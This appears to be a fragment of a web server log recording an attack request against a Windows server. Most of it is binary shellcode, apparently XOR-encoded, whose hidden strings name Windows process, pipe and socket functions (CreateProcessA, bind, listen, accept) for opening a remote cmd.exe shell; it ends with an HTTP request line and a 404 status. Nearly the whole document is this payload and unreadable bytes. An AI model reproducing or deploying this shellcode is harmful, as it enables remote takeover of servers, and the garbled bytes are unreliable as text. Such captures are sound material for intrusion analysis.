Éó›f €Ÿ™™ó™ó˜ó›f pœ™™af– ™™™ Þœ™™¦œ™™^š˜™™™óÊóñf
f™™Éf §Ÿ™™a™ìé ÿ öŸ™™ÿ Ý™™ 蟙™ ß™™afì– q³fff ß™™ Þœ™™ó‰Û™™ÊÉf iœ™™a™ìº óœ Þœ™™Éf lœ™™a™ì’ Þœ™™ZªYZ›™™ú™™™™™™™™™™™™!™™hî¡Ôà ™íž ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP(žjÿ>í• ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ
™™™ þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHek7Á¦™íŽ ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉfŽÆZ
™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™
™™™™ÒÜË×ÜÕª«™ÚëüøíüÉðéü™ÞüíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉë
öúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™ÞõöûøõØõõöú™Îë
ðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý
™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõ
öêüêöúòüí™ÎÊØÊíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöú
òöéí™™™ÕöøýÕðûëøëàØ™ÞüíÉëöúØýýëüêê™êëî¨éî™úM=Ûcmd.exe$ HTTP/1.1" 404 309
